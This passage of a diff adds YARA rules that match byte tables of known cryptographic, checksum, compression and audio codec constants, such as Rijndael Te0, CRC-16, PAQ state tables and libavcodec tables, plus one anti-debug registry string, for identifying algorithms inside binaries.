+	$a0 = { 00009b05550b30112b17481d8823ea2970301a37ea3de044fe4b4353b05a48620a6af771117a5882ce8a7393499c50a58aaef7b79ac172cb81d5c9df4bea07f5 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_lo0x673C__16_lil_512_
+{
+strings:
+	$a0 = { 00003c6778ce44a927cc1bab5f02636599c8a5afe106dd61be048263c6cafaade5c1d9a69d0fa168c20dfe6abac386a47c09406e04c738a05bc567a2230b1f6c1dd321b4651d597a3a1f067842d17eb6841bb87cfcd5c0b2a3d79fb0db19e77ef812c47580dcbcbbdfdee3b9a7109b7761da5dbd1914257346167a713ed802bfedf6d1919538a95fca3af65db2f48e93743e48590cf0309753f26f952b3c175b0837345070f94c9e2ffb139c57356b5291ffad98e931d556b6338a54cefdf29af025cc4288ebb48cd7e9eb8eaf27934069ed558a11232d444e21724636ef0a8815e429836d2a514d32280e4f4ae676818c2cb04bf4e2c885abe09787d32eef490dbd31da757349142a71161652bf6ed89475a812ecbbd0dcb3b98fdecb77f710e87cd41b90b2acd5cfb0f3d7b77e8b1971b44dd3097a351d56786a1f2eb612d1106e2c0968a054c737a20bc54f6c730b89a6b5c1f168cd0fae6a920dd6a4eac3f5afc9c88d61b106d263ee04aaad96ca6c67500014a928ce4bab77cc33650f02e04bdc2c9885a4e2c787fbe0bf49832e798345e4014d3d2a5e4f622826811ae6058a39ed7d44412322461e215a8866ef9c42a025e48cd8ebbb8e87e9c340ff27fd98c1ff8556b931da54e633a29a9efd645058371c9e20f9439c7ffb3b5207351859243e60975cf03f9503f2475b7b3c8191bdf6f95fc538a65d9a3ade93e2f4 }
+
+condition:
+	$a0
+}
+
+	
+rule Square___Sharkbox_crypto_algorithm_S_encoding__8_byt_256_
+{
+strings:
+	$a0 = { b1cec3955aade7024d44fb910c87a150cb6754dd468fe14ef0fdfcebf9c41a6e5ef5cc8d1c5643fe0761f87559ff03228ad113ee88000e34158094e3edb553234b4717a79035abd8b8df4f579a92db1b3cc899048ee0d77d85bb402c3a45f14265204118722593703605f20ba379ec08273132b67cb00a735b7bb781d20d6a269e589c8374b3ac307a69770fae21ded02e9710a498a8d4682d62296d164976c7e8c19637e5caf4e96312c2a614bcd328af2fe62452c6a009bd8ccf5d115f01c59f3da29bc93bbe51191f3f5cb2ef4acdbfba6f64d9f33eb4aadcd506c07ef6666c847138b91d7f9d488b2adaa5338239d67886fae42ba91e89606bea554cf7e2 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab10__16_big_254_
+{
+strings:
+	$a0 = { FF83FF87FF91FFADFFC9FFDDFFEBFFF3FFF9FFFDFFFF00770067FFFF00760057FFFDFFFF007500660047FFFDFFFF00740056FFFF00650037FFF7FFFDFFFF00730046FFFDFFFF005500540063FFFF00270072FFF5FFFBFFFDFFFF006400070070FFFF0062FFFF00450035FFFBFFFF0006FFFF005300440017FFEFFFFBFFFF0071FFFF00360026FFFBFFFDFFFF002500520015FFFF0051FFFF00340043FFFDFFFF00160061FFFF0060FFFF00050050FFEDFFF5FFF9FFFDFFFF00240042FFFF00330004FFFF00140041FFFDFFFF00400023FFFF00320003FFFDFFFF00130031FFFF00300022FFF9FFFDFFFF00120021FFFF000200200011FFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_t_huff_iid_def__8_byt_56_
+{
+strings:
+	$a0 = { E101E002E203DF04E305DE06E407DD08E509DC0AE60BDB0CE70DE80EDA0F1011E9D9121314151617EAD3D4D518191A1BD6D7D8EBECEDEEEF }
+
+condition:
+	$a0
+}
+
+	
+rule Ventrilo_UDP_status_packet_encryption_ventrilo_udp_encdata_head__8_byt_256_
+{
+strings:
+	$a0 = { 80e50e38ba634c9988634cd654b8657ebf8af0178aaa4d0fb72327f6eb12f8ea17b7cf5257cb51cf1b14fd6f8438b52411cf7a757abb7874dcbc42f0173f5eeb7477044e8caf23dc65dfa565dd7df43c4c95bdeb651cf4245d8218fb5086b853e04e36961fb7cbaaafeacb2027302aaeb90740df1275c909829c30805d8f0d09a164ec91d88a501f405df7082af86062a04a8bba4a6d000a933212e5070165f5ffe0aea781d1ba256261b285ad7e9d3f498926e5d5ac9f0ed76e47941684c8ff44ea0440e03311a35b1e82ff7a69e92ffbea9ac67bdbb1ff977656f352c23f0fb6ac77c4bf595e8074bbf2de57624c1aff956dc704a23bc41b72c76c8260d10d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0x8005__16_big_refl_True_
+{
+strings:
+	$a0 = { 0000c0c1c1810140c30103c00280c241c60106c00780c7410500c5c1c4810440cc010cc00d80cd410f00cfc1ce810e400a00cac1cb810b40c90109c00880c841d80118c01980d9411b00dbc1da811a401e00dec1df811f40dd011dc01c80dc411400d4c1d5811540d70117c01680d641d20112c01380d3411100d1c1d0811040f00130c03180f1413300f3c1f28132403600f6c1f7813740f50135c03480f4413c00fcc1fd813d40ff013fc03e80fe41fa013ac03b80fb413900f9c1f88138402800e8c1e9812940eb012bc02a80ea41ee012ec02f80ef412d00edc1ec812c40e40124c02580e5412700e7c1e68126402200e2c1e3812340e10121c02080e041a00160c06180a1416300a3c1a28162406600a6c1a7816740a50165c06480a4416c00acc1ad816d40af016fc06e80ae41aa016ac06b80ab416900a9c1a88168407800b8c1b9817940bb017bc07a80ba41be017ec07f80bf417d00bdc1bc817c40b40174c07580b5417700b7c1b68176407200b2c1b3817340b10171c07080b041500090c191815140930153c052809241960156c057809741550095c1948154409c015cc05d809d415f009fc19e815e405a009ac19b815b40990159c058809841880148c0498089414b008bc18a814a404e008ec18f814f408d014dc04c808c41440084c185814540870147c046808641820142c043808341410081c180814040 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te0__0xc66363a5U___32_big_1024_
+{
+strings:
+	$a0 = { c66363a5f87c7c84ee777799f67b7b8dfff2f20dd66b6bbdde6f6fb191c5c5546030305002010103ce6767a9562b2b7de7fefe19b5d7d7624dababe6ec76769a8fcaca451f82829d89c9c940fa7d7d87effafa15b25959eb8e4747c9fbf0f00b41adadecb3d4d4675fa2a2fd45afafea239c9cbf53a4a4f7e47272969bc0c05b75b7b7c2e1fdfd1c3d9393ae4c26266a6c36365a7e3f3f41f5f7f70283cccc4f6834345c51a5a5f4d1e5e534f9f1f108e2717193abd8d873623131532a15153f0804040c95c7c752462323659dc3c35e30181828379696a10a05050f2f9a9ab50e070709241212361b80809bdfe2e23dcdebeb264e2727697fb2b2cdea75759f1209091b1d83839e582c2c74341a1a2e361b1b2ddc6e6eb2b45a5aee5ba0a0fba45252f6763b3b4db7d6d6617db3b3ce5229297bdde3e33e5e2f2f7113848497a65353f5b9d1d16800000000c1eded2c40202060e3fcfc1f79b1b1c8b65b5bedd46a6abe8dcbcb4667bebed97239394b944a4ade984c4cd4b05858e885cfcf4abbd0d06bc5efef2a4faaaae5edfbfb16864343c59a4d4dd766333355118585948a4545cfe9f9f91004020206fe7f7f81a05050f0783c3c44259f9fba4ba8a8e3a25151f35da3a3fe804040c0058f8f8a3f9292ad219d9dbc70383848f1f5f50463bcbcdf77b6b6c1afdada754221216320101030e5ffff1afdf3f30ebfd2d26d81cdcd4c180c0c1426131335c3ecec2fbe5f5fe1359797a2884444cc2e17173993c4c45755a7a7f2fc7e7e827a3d3d47c86464acba5d5de73219192be6737395c06060a0198181989e4f4fd1a3dcdc7f44222266542a2a7e3b9090ab0b8888838c4646cac7eeee296bb8b8d32814143ca7dede79bc5e5ee2160b0b1daddbdb76dbe0e03b64323256743a3a4e140a0a1e924949db0c06060a4824246cb85c5ce49fc2c25dbdd3d36e43acacefc46262a6399191a8319595a4d3e4e437f279798bd5e7e7328bc8c8436e373759da6d6db7018d8d8cb1d5d5649c4e4ed249a9a9e0d86c6cb4ac5656faf3f4f407cfeaea25ca6565aff47a7a8e47aeaee9100808186fbabad5f07878884a25256f5c2e2e72381c1c2457a6a6f173b4b4c797c6c651cbe8e823a1dddd7ce874749c3e1f1f21964b4bdd61bdbddc0d8b8b860f8a8a85e07070907c3e3e4271b5b5c4cc6666aa904848d806030305f7f6f6011c0e0e12c26161a36a35355fae5757f969b9b9d01786869199c1c1583a1d1d27279e9eb9d9e1e138ebf8f8132b9898b322111133d26969bba9d9d970078e8e89339494a72d9b9bb63c1e1e2215878792c9e9e92087cece49aa5555ff50282878a5dfdf7a038c8c8f59a1a1f8098989801a0d0d1765bfbfdad7e6e631844242c6d06868b8824141c3299999b05a2d2d771e0f0f117bb0b0cba85454fc6dbbbbd62c16163a }
+
+condition:
+	$a0
+}
+
+	
+rule LZO_1x_999_compress_level__32_big_216_
+{
+strings:
+	$a0 = { 000000000000000000000000000000080000000400000000000000000000000000000000000000100000000800000000000000000000000000000000000000200000001000000000000000010000000400000004000000100000001000000000000000010000000800000010000000200000002000000000000000010000000800000010000000800000008000000000000000020000000800000020000000800000010000000000000000020000002000000080000004000000080000000001000000020000040000000400000004000000100000000001 }
+
+condition:
+	$a0
+}
+
+	
+rule State_table_used_in_PAQ4__PAQ6_and_PAQC_compression__8_byt_4078_
+{
+strings:
+	$a0 = { 000000020001ffffffffffffffff0000040001040103ffffffffffffffff0400000002050204ffffffffffffffff0000080001040306ffffffffffffffff0100010004080407ffffffffffffffff0800000005090204ffffffffffffffff00000c000104060affffffffffffffff010002000408070bffffffffffffffff02000100080d0407ffffffffffffffff0c000000090e0204ffffffffffffffff0000100003070a0fffffffffffffffff0100030004080b10ffffffffffffffff01000100080d070bffffffffffffffff030001000d130407ffffffffffffffff100000000e140508ffffffffffffffff0000140003070f15ffffffffffffffff01000400070c1016ffffffffffffffff01000100080d0b10ffffffffffffffff010001000d13070bffffffffffffffff04000100131a080cffffffffffffffff14000000141b0508ffffffffffffffff00001800060b151cffffffffffffffff01000500070c161dffffffffffffffff010002000c121016ffffffffffffffff010001000d130b10ffffffffffffffff02000100131a0c11ffffffffffffffff050001001a22080cffffffffffffffff180000001b23090dffffffffffffffff00001c00060b1c24ffffffffffffffff010006000b111d25ffffffffffffffff010002000c12161dffffffffffffffff0100010012191016ffffffffffffffff01000100131a1117ffffffffffffffff020001001a220c11ffffffffffffffff06000100222b0d12ffffffffffffffff1c000000232c090dffffffffffffffff000020000a10242dffffffffffffffff010007000b11252effffffffffffffff0100030011181d25ffffffffffffffff010001001219161dffffffffffffffff010001001921171effffffffffffffff010001001a221117ffffffffffffffff03000100222b1218ffffffffffffffff070001002b350d12ffffffffffffffff200000002c360e13ffffffffffffffff000024000a102d37ffffffffffffffff0100080010172e38ffffffffffffffff010003001118252effffffffffffffff0100020018201d25ffffffffffffffff0100010019211e26ffffffffffffffff01000100212a171effffffffffffffff02000100222b181fffffffffffffffff030001002b351218ffffffffffffffff08000100353d1319ffffffffffffffff24000000363e0e13ffffffffffffffff000028000f16373fffffffffffffffff0100090010173840ffffffffffffffff01000400171f2e38ffffffffffffffff010002001820252effffffffffffffff020001002b35181fffffffffffffffff04000100353d1920ffffffffffffffff090001003d451319ffffffffffffffff280000003e46141affffffffffffffff00002c000f163f47ffffffffffffffff01000a00161e4048ffffffffffffffff01000400171f3840ffffffffffffffff010002001f282e38ffffffffffffffff02000100353d2028ffffffffffffffff040001003d451920ffffffffffffffff0a000100454d1a21ffffffffffffffff2c000000464e141affffffffffffffff00003000151d474fffffffffffffffff01000b00161e4850ffffffffffffffff010005001e274048ffffffffffffffff010003001f283840ffffffffffffffff030001003d452028ffffffffffffffff05000100454d2129ffffffffffffffff0b0001004d551a21ffffffffffffffff300000004e561b22ffffffffffffffff00003400151d4f57ffffffffffffffff01000c001d265058ffffffffffffffff010005001e274850ffffffffffffffff0100030027314048ffffffffffffffff03000100454d2932ffffffffffffffff050001004d552129ffffffffffffffff0c000100555b222affffffffffffffff34000000565c1b22ffffffffffffffff000038001c25575dffffffffffffffff01000d001d26585effffffffffffffff0100060026305058ffffffffffffffff06000100555b2a33ffffffffffffffff0d0001005b61222affffffffffffffff380000005c62232bffffffffffffffff00003c001c255d63ffffffffffffffff01000e00252f5e64ffffffffffffffff010006002630585effffffffffffffff060001005b612a33ffffffffffffffff0e00010061672b34ffffffffffffffff3c0000006268232bffffffffffffffff00004000242e6369ffffffffffffffff01000f00252f646affffffffffffffff010007002f3a5e64ffffffffffffffff070001006167343bffffffffffffffff0f000100676d2b34ffffffffffffffff40000000686e2c35ffffffffffffffff00004400242e696fffffffffffffffff010010002e396a70ffffffffffffffff010007002f3a646affffffffffffffff07000100676d343bffffffffffffffff100001006d71353cffffffffffffffff440000006e722c35ffffffffffffffff000048002d386f73ffffffffffffffff010011002e397074ffffffffffffffff110001007177353cffffffffffffffff480000007278363dffffffffffffffff00004c002d387379ffffffffffffffff010012003841747affffffffffffffff0100080039427074ffffffffffffffff0800010071773c43ffffffffffffffff12000100777d3d44ffffffffffffffff4c000000787e363dffffffffffffffff000050003740797fffffffffffffffff0100130038417a80ffffffffffffffff01000900414a747affffffffffffffff09000100777d444bffffffffffffffff130001007d833d44ffffffffffffffff500000007e843e45ffffffffffffffff0000540037407f85ffffffffffffffff0100140040498086ffffffffffffffff01000900414a7a80ffffffffffffffff090001007d83444bffffffffffffffff140001008389454cffffffffffffffff54000000848a3e45ffffffffffffffff000058003f48858bffffffffffffffff010015004049868cffffffffffffffff01000a0049528086ffffffffffffffff0a00010083894c53ffffffffffffffff15000100898f454cffffffffffffffff580000008a90464dffffffffffffffff00005c003f488b91ffffffffffffffff0100160048518c92ffffffffffffffff01000a004952868cffffffffffffffff0a000100898f4c53ffffffffffffffff160001008f934d54ffffffffffffffff5c0000009094464dffffffffffffffff0000600047509195ffffffffffffffff0100170048519296ffffffffffffffff1700010093974d54ffffffffffffffff6000000094984e55ffffffffffffffff000064003f489599ffffffffffffffff010018005059969affffffffffffffff18000100979b555affffffffffffffff64000000989c464dffffffffffffffff000068003f48999dffffffffffffffff0100190048519a9effffffffffffffff190001009b9f4d54ffffffffffffffff680000009ca0464dffffffffffffffff00006c003f489da1ffffffffffffffff01001a0048519ea2ffffffffffffffff1a0001009fa34d54ffffffffffffffff6c000000a0a4464dffffffffffffffff000070003f48a1a5ffffffffffffffff01001b004851a2a6ffffffffffffffff1b000100a3a74d54ffffffffffffffff70000000a4a8464dffffffffffffffff000074003f48a5a9ffffffffffffffff01001c004851a6aaffffffffffffffff1c000100a7ab4d54ffffffffffffffff74000000a8ac464dffffffffffffffff000078003f48a9adffffffffffffffff01001d004851aaaeffffffffffffffff1d000100abaf4d54ffffffffffffffff78000000acb0464dffffffffffffffff00007c003f48adb1ffffffffffffffff01001e004851aeb2ffffffffffffffff1e000100afb34d54ffffffffffffffff7c000000b0b4464dffffffffffffffff000080003f48b1b5ffffffffffffffff01001f004851b2b6ffffffffffffffff1f000100b3b74d54ffffffffffffffff80000000b4b8464dffffffffffffffff000084003f48b5b9ffffffffffffffff010020004851b6baffffffffffffffff20000100b7bb4d54ffffffffffffffff84000000b8bc464dffffffffffffffff000088003f48b9bdffffffffffffffff010021004851babeffffffffffffffff21000100bbbf4d54ffffffffffffffff88000000bcc0464dffffffffffffffff00008c003f48bdc1ffffffffffffffff010022004851bec2ffffffffffffffff22000100bfc34d54ffffffffffffffff8c000000c0c4464dffffffffffffffff000090004750c1c5ffffffffffffffff010023004851c2c6ffffffffffffffff23000100c3c74d54ffffffffffffffff90000000c4c84e55ffffffffffffffff000094004750c5c9ffffffffffffffff010024005059c6caffffffffffffffff24000100c7cb555affffffffffffffff94000000c8cc4e55ffffffffffffffff000098004750c9cdffffffffffffffff010025005059caceffffffffffffffff25000100cbcf555affffffffffffffff98000000ccd04e55ffffffffffffffff00009c004750cdd1ffffffffffffffff010026005059ced2ffffffffffffffff26000100cfd3555affffffffffffffff9c000000d0d44e55ffffffffffffffff0000a0004750d1d7ffffffffffffff3f010027005059d2d5ffffffffffffffff27000100d3d6555affffffffffffffffa0000000d4d84e55ffffff3fffffffff010028005059d5d9ffffffffffffff3f28000100d6da555affffff3fffffffff0000b0004750d7dbffffffffffffff3fb0000000d8dc4e55ffffff3fffffffff01002c005059d9ddffffffffffffff3f2c000100dade555affffff3fffffffff0000c0004750dbdfffffffffffffff1fc0000000dce04e55ffffff1fffffffff010030005059dde1ffffffffffffff1f30000100dee2555affffff1fffffffff0000e0004f58dfe3ffffffffffffff1fe0000000e0e4565bffffff1fffffffff01003800585fe1e5ffffffffffffff1f38000100e2e65b60ffffff1fffffffff00000001575ee3e7ffffffffffffff0700010000e4e85c61ffffff07ffffffff010040005e65e5e9ffffffffffffff0740000100e6ea6166ffffff07ffffffff000080015d64e7ebffffffffffffff0780010000e8ec6267ffffff07ffffffff01006000646be9edffffffffffffff0760000100eaee676cffffff07ffffffff000000026970ebefffffffffffffff0700020000ecf06e71ffffff07ffffffff010080007075edf1ffffffffffffff0780000100eef27176ffffff07ffffffff000080026f74eff3ffffffffffffff0780020000f0f47277ffffff07ffffffff0100a000747bf1f5ffffffffffffff07a0000100f2f6777cffffff07ffffffff00000003737af3f7ffffffffffffff0700030000f4f8787dffffff07ffffffff0100c0007a81f5f9ffffffffffffff07c0000100f6fa7d82ffffff07ffffffff000080037980f7fbffffffff8410420880030000f8fc7e8384104208ffffffff0100e0008087f9fdffffffff84104208e0000100fafe838884104208ffffffff0000fc037f86fbfbffffffff00000000fc030000fcfc848900000000ffffffff0100ff00868dfdfdffffffff00000000ff000100fefe898e00000000ffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_8_128__avcodec___faad___16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0024002c0034003c00480058006c008000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__SYSTEM__CurrentControlSet__Services__IceExt__8_byt_STR_41_
+{
+strings:
+	$a0 = { 53595354454d5c43757272656e74436f6e74726f6c5365745c53657276696365735c49636545787400 }
+
+condition:
+	$a0
+}
+
+	
+rule Turing_Qbox__32_lil_1024_
+{
+strings:
+	$a0 = { 8718aa1f5c435e4e42c06591f46e0e2520ee5759d3fe84d402c566a6aee8547ed9e92ed1d4381ffc5d9b82493cdf5c1b4942867463392eda9f42f428352c43c82503f44a70ddc09fed3d97d85edc021a425b17cdbf1200f18cd794666bb2aaac9a1bc14e4681163fc58eeac08fc28ab30f5ced1f1c10b4aa82b02deae1290947de4318e7fc9982504bbc2fe7dd15392efa03a89fdeb246954233233cc3e7ce0fef07d624abeb978f9b857ff32f2e1fcdda715bc29a26e275d1c3391e366ba5edf2dec9f85ffcc946a3b32718df6da57010b5250da7850f00712ee8b21688cb682a1e958faff6f572b3c2cbe45df54fd314626b2ee3830b22f5a69ed3af41e06f171f2f6bee993badc05ea616c6167075a40977ba016e32b0d980b2f41814fb4b27f2afd6038254fd969d6bf5c0a817676ebfd5008878ee1064fefcedcd93a11b84010d4b3049ae89364f011c8870a8822a6cad5e78c622efe74d203159e7c2c98e2400d26b443b30c29f0db095a81499a1c36c9070f1fe545591c134668a7be2695e1b133e62a8c335fabd27cc68f097cd6a3aca36e9554bb92d6086c113df516db10b393cb8805a6337b22211a9d83913bcb62cd77955bfa82f5c6c6e19f4a87654dbbc66a86468ad166e4115c57f893ceb6f9506a3c8f6d999672133911a17dd66246ccd5deb75508f11df26b2afe4f3ceb9268961b3adb1197a8a8430c7e25ced7df78fc58b8b21e4dd06fb471eb45e71ccb199ffc0680f2f125d8451d2a46c5e7a09bc18bf0ce0c6d7c220e4b78b3f521fa1a2b8d9356b1ada03028c880654e3d17d797dba6b5377cc3255962de5a19d82a9a790153049c1c19b1c7f5313699b77d3b7f2712dfa583c181844dcac768c8c8df0d920264d0da87173c4747ae910944411420ea22b08c8f94a336b0ad28ef6b51bcc4382f30f3c45a064e59b4f5af54fe7f840875ff1a7cc21fe00e3d6376d78f106d5df7309e08e36debb17a80f677a9eab315c18b6dad4f5521fcc4feb58e343e3b919dd778d3aa63db9cd2dd50f14f81254396033a62bd03ae5371c0f70800bed2476ecc13d70956736b7159d54d6d746ce6676be7ad1a0e048a4027cf028b74912c3bad69e6e787fa4eabdffcfbb84ca07c5daf465e9da359f8e44aad26aac527457a774d6b56aa461542a156367aab7129c2759611218b14f7b8d7551c37b68817eb3f0525fed54422d7172c7d4abac3104ec4af9becd94e9fe819e4d9c303762ede8218acf0b7f9151d6b5a9a7f8ad97b23104d3ee21c9ca68465db3f1360a437a224019515ea6bc9aba70ec85cca8ae398bae7b73d52429585a8a0903816b39922225de18b81c5c741dfeb8a197c6b35d834f16297663c1974c221984353b2021fec03a839aa166d94fb2f0aa98a9fd40712dd5e7a89608393f05e6ce00d3b0d0cccb99ff403d5e06 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_bandInfo__8_byt_2592_
+{
+strings:
+	$a0 = { 0000000004000000080000000c0000001000000014000000180000001e000000240000002c000000340000003e0000004a0000005a0000006e00000086000000a2000000c4000000ee0000002001000056010000a201000040020000040000000400000004000000040000000400000004000000060000000600000008000000080000000a0000000c0000001000000014000000180000001c000000220000002a00000032000000360000004c0000009e000000000000000c000000180000002400000030000000420000005a000000780000009c000000c6000000fc0000003e01000098010000400200000400000004000000040000000400000006000000080000000a0000000c0000000e00000012000000160000001e000000380000000000000004000000080000000c0000001000000014000000180000001e000000240000002a000000320000003c00000048000000580000006a000000800000009c000000be000000e6000000140100004a0100008001000040020000040000000400000004000000040000000400000004000000060000000600000006000000080000000a0000000c0000001000000012000000160000001c00000022000000280000002e0000003600000036000000c0000000000000000c00000018000000240000003000000042000000540000007200000096000000c0000000f00000002c0100007a010000400200000400000004000000040000000400000006000000060000000a0000000c0000000e00000010000000140000001a000000420000000000000004000000080000000c0000001000000014000000180000001e000000240000002c000000360000004200000052000000660000007e0000009c000000c2000000f0000000280100006c010000c001000026020000400200000400000004000000040000000400000004000000040000000600000006000000080000000a0000000c0000001000000014000000180000001e000000260000002e000000380000004400000054000000660000001a000000000000000c000000180000002400000030000000420000005a0000007e000000ae000000ea000000380100009e0100001c020000400200000400000004000000040000000400000006000000080000000c00000010000000140000001a000000220000002a0000000c00000000000000060000000c00000012000000180000001e000000240000002c00000036000000420000005000000060000000740000008c000000a8000000c8000000ee0000001c010000500100008c010000d00100000a02000040020000060000000600000006000000060000000600000006000000080000000a0000000c0000000e0000001000000014000000180000001c00000020000000260000002e000000340000003c000000440000003a00000036000000000000000c00000018000000240000003600000048000000600000007e000000a8000000de0000002c0100008c0100000a020000400200000400000004000000040000000600000006000000080000000a0000000e000000120000001a000000200000002a0000001200000000000000060000000c00000012000000180000001e000000240000002c000000360000004200000050000000600000007200000088000000a2000000c2000000e8000000160100004c0100008a010000d00100001c02000040020000060000000600000006000000060000000600000006000000080000000a0000000c0000000e0000001000000012000000160000001a00000020000000260000002e000000360000003e000000460000004c00000024000000000000000c0000001800000024000000360000004e0000006c00000090000000ba000000f000000038010000980100001c0200004002000004000000040000000400000006000000080000000a0000000c0000000e0000001200000018000000200000002c0000000c00000000000000060000000c00000012000000180000001e000000240000002c00000036000000420000005000000060000000740000008c000000a8000000c8000000ee0000001c010000500100008c010000d00100000a02000040020000060000000600000006000000060000000600000006000000080000000a0000000c0000000e0000001000000014000000180000001c00000020000000260000002e000000340000003c000000440000003a00000036000000000000000c0000001800000024000000360000004e0000006c00000090000000ba000000f000000038010000920100000a0200004002000004000000040000000400000006000000080000000a0000000c0000000e00000012000000180000001e000000280000001200000000000000060000000c00000012000000180000001e000000240000002c00000036000000420000005000000060000000740000008c000000a8000000c8000000ee0000001c010000500100008c010000d00100000a02000040020000060000000600000006000000060000000600000006000000080000000a0000000c0000000e0000001000000014000000180000001c00000020000000260000002e000000340000003c000000440000003a00000036000000000000000c0000001800000024000000360000004e0000006c00000090000000ba000000f000000038010000920100000a0200004002000004000000040000000400000006000000080000000a0000000c0000000e00000012000000180000001e000000280000001200000000000000060000000c00000012000000180000001e000000240000002c00000036000000420000005000000060000000740000008c000000a8000000c8000000ee0000001c010000500100008c010000d00100000a02000040020000060000000600000006000000060000000600000006000000080000000a0000000c0000000e0000001000000014000000180000001c00000020000000260000002e000000340000003c000000440000003a00000036000000000000000c0000001800000024000000360000004e0000006c00000090000000ba000000f000000038010000920100000a0200004002000004000000040000000400000006000000080000000a0000000c0000000e00000012000000180000001e0000002800000012000000000000000c0000001800000024000000300000003c00000048000000580000006c00000084000000a0000000c0000000e8000000180100005001000090010000dc01000036020000380200003a0200003c0200003e020000400200000c0000000c0000000c0000000c0000000c0000000c0000001000000014000000180000001c00000020000000280000003000000038000000400000004c0000005a0000000200000002000000020000000200000002000000000000001800000030000000480000006c0000009c000000d80000002001000074010000e0010000e6010000ec010000f2010000400200000800000008000000080000000c0000001000000014000000180000001c000000240000000200000002000000020000001a000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_quant_shifts__8_byt_88_
+{
+strings:
+	$a0 = { 03030404030304040203030402030304020203030202030301020203010202030101020201010202000101020001010200000101000001010000000100000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_short__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3f06f628e4f0cae13f1f1c1117a535043f2e3d904cf1b0b13f3986450ea7be423f43d9ecea8842653f4d3a9cde2a253e3f54ac0f60bab02d3f5c58de8238bfc53f62f4d32708db913f68d54ded86a2263f6ff718f801f6fc3f74433e24b872213f79595a01410ddb3f7f56e595b96c793f832b1adf563dfb3f873968800596233f8be4a61d72bc333f909dc876416f023f93a6a0e43dd2743f971489be3541cd3f9aef434c8e85c23f9f3e918363641f3fa20515e2cb1de53fa4acd5e1a3884f3fa79a3dcc9b07193faad0e1ad60693c3fae542b19f1ab513fb113a7d4fb0aa43fb326a3b5158fe43fb56461b45a9e5e3fb7ce123af70a303fba64b91adeb80e3fbd29294ed259463fc00e007ed8d61e3fc19ed2e7def09a3fc34720d1787c303fc506dfd570aebe3fc6dde503e6e15c3fc8cbe3efb302b03fcad06e005a8fb53fcceaf20d9c6c3c3fcf1abc47dcd6a73fd0af7b37f71ab53fd1db542fecfbb53fd3105c72b461093fd44df7771eb7a03fd593798232e8d43fd6e0288ca8ec953fd8333d4e184c2e3fd98be46be2f9f93fdae93fc973436c3fdc4a67f6f645083fddae6dbb55a5073fdf145bb5d4d7ca3fe03d9c09b090c13fe0f10329ac8fd23fe1a3e48ba8fd273fe255c1fc97327f3fe3061eb15b8f093fe3b48030e726ce3fe4606f3a27bd8d3fe50978a35a92253fe5af2e3059bb333fe651275d8ea2ee3fe6ef021d4e7ab63fe7886385871c5d3fe81cf86bcb82fa3fe8ac75edfe7e7b3fe93699e61021f93fe9bb2b477e38013fea39fa65893b7d3feab2e1215557c23feb25c2ff791c0a3feb928d24c9212c3febf9363a800a0e3fec59be3a34206c3fecb42e225e58cc3fed08979488a9303fed57145e8a22653fed9fc5f084d5823fede2d4c1a2d4433fee206fa5d30bd23fee58cb1702c2503fee8c20748383f13feebaad3b75b0f13feee4b23b2c17fb3fef0a72c88bb1633fef2c33f36a77f63fef4a3bc0e0a49e3fef64d06d5fc0ce3fef7c37b9331b973fef90b641cdbcb23fefa28ee9fc20ea3fefb20252b5a00a3fefbf4e65e4b0dc3fefcaadf41134cd3fefd4586567d6173fefdc817e28e3183fefe359361b9d6f3fefe90ba23c43953fefedc0ef7e82e53feff19d6d2e5da63feff4c1a5392a363feff74a8078b4183feff95174fc7c7f3feffaecbc40986b3feffc2f8f45f0a43feffd2a66933ef33feffdeb3c470a603feffe7dce8ead293feffeebe10a6eb93fefff3d7be02c533fefff79277a35493fefffa4242c5bc33fefffc29d3389fc3fefffd7d6ba8d1d3fefffe656bfc0d63feffff008e1cf6c3feffff65d3d2f643feffffa62a02f313feffffcdc7052613feffffe54a9e9143fefffff2a6abfc63fefffff9d7b53d53fefffffd74801533feffffff1b60d7d3feffffffc3830c93fefffffff7c3111 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_bw_tab__flt64___64_big_288_
+{
+strings:
+	$a0 = { 3fefa000000000003fef411ffff20a963feee35ca002d9123fee86b27fd5b4633fee2b1e5fcdac2c3fedd09cffc45fb03fed772b201cde913fed1ec59fd43da73fecc7693fd6fcf43fec7112ffe1f8023fec1bbfc00524683febc76c7ffd5db13feb74164010efc53feb21b9fffcb6303fead054e03d532e3fea7fe3e00631eb3fea3064400a4af63fe9e1d3203cd02f3fe9942da00783123fe947711fca42253fe8fb9ac001afa53fe8b0a7dffac9573fe86695e0156dbf3fe81d6220280b033fe7d50a00090f483fe78d8ae01859123fe746e23fd93c7a3fe7010d9fe1ee583fe6bc0a803f33243fe677d65feaee983fe6346ee03b1c3e3fe5f1d19fd685c43fe5affc1fdcd0613fe56eec203dfcd53fe52e9f5fd72b203fe4ef137ffe56cc }
+
+condition:
+	$a0
+}
+
+	
+rule Simbin_Race_WTCC_files_encryption_version_5__8_byt_16_
+{
+strings:
+	$a0 = { 45133b810ba109962542f0e57d191153 }
+
+condition:
+	$a0
+}
+
+	
+rule SOSEMANUK_mul_a__32_big_1024_
+{
+strings:
